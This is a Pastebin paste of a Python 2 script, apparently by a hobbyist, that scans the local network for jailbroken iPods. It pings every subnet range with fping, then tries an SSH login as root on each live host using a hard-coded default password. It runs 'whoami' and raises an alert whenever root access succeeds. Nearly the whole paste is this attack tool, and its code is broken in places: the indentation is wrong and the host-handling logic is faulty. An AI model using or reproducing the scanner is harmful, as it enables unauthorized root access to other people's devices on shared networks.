Advertisement
Guest User

Untitled

a guest
Jul 7th, 2017
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.63 KB | None | 0 0
  1. #Jailbroken iPod default password scanner, make sure you install fping & paramiko
  2. #Written in Ubuntu by Ac3
  3.  
  4. import paramiko
  5. import os
  6.  
  7. ssh = paramiko.SSHClient()
  8. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  9.  
  10. subnet = os.popen("ifconfig").read().split("inet addr:")[2].split()[0]
  11. print '[It appears your subnet is ' + subnet + ']'
  12. #find hosts on LAN
  13. print '[Scanning...]'
  14.  
  15.  
  16. #fping 171.17.0/24.0/24
  17.  
  18. count = 0
  19. hosts = []
  20.  
  21.  
  22. def run():
  23.     global count
  24.     try:
  25.     if h_t == h:
  26.         return
  27.     except:pass
  28.     if count > 255:
  29.     return
  30.     s_count = str(count)
  31.     x = os.system("fping -a -q -g "+subnet.split(".")[0]+"."+subnet.split(".")[1]+"."+s_count+".0/24 > temp"+s_count)
  32.     h = open("temp"+s_count, "r").read().split('\n')
  33.    
  34.     if h[0] == '':
  35.     run()
  36.     else:
  37.     hosts.append(h)
  38.     h_t = h
  39.     print '[Added ' + str(len(h)) + ' hosts]'
  40.     os.system("rm temp"+s_count)
  41.     count = count+1
  42.     run()
  43. run()
  44.  
  45. count = 0
  46.  
  47. if len(hosts) == 0:
  48.     print "[Done1]"
  49.     exit()
  50.  
  51. print "[Testing " +str(len(hosts))+ " hosts]"
  52.  
  53. #test all the hosts
  54. def scan():
  55.     global count
  56.    
  57.     if count > len(hosts):
  58.     return
  59.     try:
  60.    
  61.     hosts[count] = hosts[count].replace(" ","")
  62.     print "Trying ["+hosts[count]+"]"
  63.     ssh.connect(hosts[count], username="root", password="insignia91")
  64.     stdin, stdout, stderr = ssh.exec_command("whoami")
  65.     if stdout.read().split("\n")[0] == "root":
  66.         try:
  67.         os.system("notify-send Root Found")
  68.         except:pass
  69.         raw_input("ROOT ACCESS, HOST="+hosts[count])
  70.        
  71.     else:
  72.         ssh.close()
  73.     except:pass
  74.     count = count + 1
  75.     scan()
  76.    
  77.    
  78. scan()
  79. print '[Done]'
  80. exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement